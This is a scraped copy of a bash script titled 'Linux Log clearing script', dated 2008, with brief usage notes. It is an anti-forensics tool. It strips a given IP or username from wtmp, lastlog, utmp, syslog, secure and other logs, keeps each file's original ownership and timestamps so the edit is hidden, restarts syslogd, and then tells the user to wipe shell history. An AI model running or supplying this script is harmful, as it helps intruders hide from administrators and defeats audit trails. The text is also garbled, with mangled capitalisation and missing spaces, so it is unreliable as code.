Linux Log clearing script #! Binbashecholinuxclearlogechobyknlve2008-08-29echo # chmod777log #. logxx. xx. xx. xxAnd. logrootif [-fvarlogwtmp]; thencatvarlogwtmp | grep-v $1varlogtemp1
Linux Log clearing script
#! /Bin/bash Echo "linuxClearLog" Echo "by knlve 2008-08-29" Echo "==================================" #Chmod777 log #./Log xx. xx And./log root If [-f "/var/log/wtmp"]; then Cat/Var/log/wtmp |Grep-V $1>/var/log/temp1; Chgrp-- RefereNcE/var/log/wtmp/var/log/temp1; Chown-- Reference/var/log/wtmp/var/log/temp1; Touch-R/var/log/wtmp/var/log/temp1; Mv-F/var/log/temp1/var/log/wtmp; Fi If [-f "/var/log/lastlog"]; then Cat/var/log/lastlog | grep-v $1>/var/log/temp2; Chgrp -- reference/var/log/lastlog/var/log/temp2; Chown -- reference/var/log/lastlog/var/log/temp2; Touch-r/var/log/lastlog/var/log/temp2; Mv-f/var/log/temp2/var/log/lastlog; Fi If [-f "/var/log/messages"]; then Cat/var/log/messages | grep-v $1>/var/log/temp3; Chgrp -- reference/var/log/messages/var/log/temp3; Chown -- reference/var/log/messages/var/log/temp3; Touch-r/var/log/messages/var/log/temp3; Mv-f/var/log/temp3/var/log/messages; Fi If [-f "/var/log/utmp"]; then Cat/var/log/utmp | grep-v $1>/var/log/temp4; Chgrp -- reference/var/log/utmp/var/log/temp4; Chown -- reference/var/log/utmp/var/log/temp4; Touch-r/var/log/utmp/var/log/temp4; Mv-f/var/log/temp4/var/log/utmp; Fi If [-f "/var/log/wtmpx"]; then Cat/var/log/wtmpx | grep-v $1>/var/log/temp5; Chgrp -- reference/var/log/wtmpx/var/log/temp5; Chown -- reference/var/log/wtmpx/var/log/temp5; Touch-r/var/log/wtmpx/var/log/temp5; Mv-f/var/log/temp5/var/log/wtmpx; Fi if [-f "/var/log/utmpx"]; then Cat/var/log/utmpx | grep-v $1>/var/log/temp6; Chgrp -- reference/var/log/utmpx/var/log/temp6; Chown -- reference/var/log/utmpx/var/log/temp6; Touch-r/var/log/utmpx/var/log/temp6; Mv-f/var/log/temp6/var/log/utmpx; Fi If [-f "/var/log/syslog"]; then Cat/var/log/syslog | grep-v $1>/var/log/temp7; Chgrp -- reference/var/log/syslog/var/log/temp7; Chown -- reference/var/log/syslog/var/log/temp7; Touch-r/var/log/syslog/var/log/temp7; Mv-f/var/log/temp7/var/log/syslog; Fi If [-f "/var/log/secure"]; then Cat/var/log/secure | grep-v $1>/var/log/temp8; Chgrp -- reference/var/log/secure/var/log/temp8; Chown -- reference/var/log/secure/var/log/temp8; Touch-r/var/log/secure/var/log/temp8; Mv-f/var/log/temp8/var/log/secure; Fi /Usr/bin/KillAll-HUP syslogd; Echo "Clear log isSuCcess! #Rm-Fr log
|
For some reason, it is clear in the script that the history is always not perfect. After the script is executed,
Execute Clear history manually:
History-w
History-c
Script usage chmod 777 log &./log ip or./log root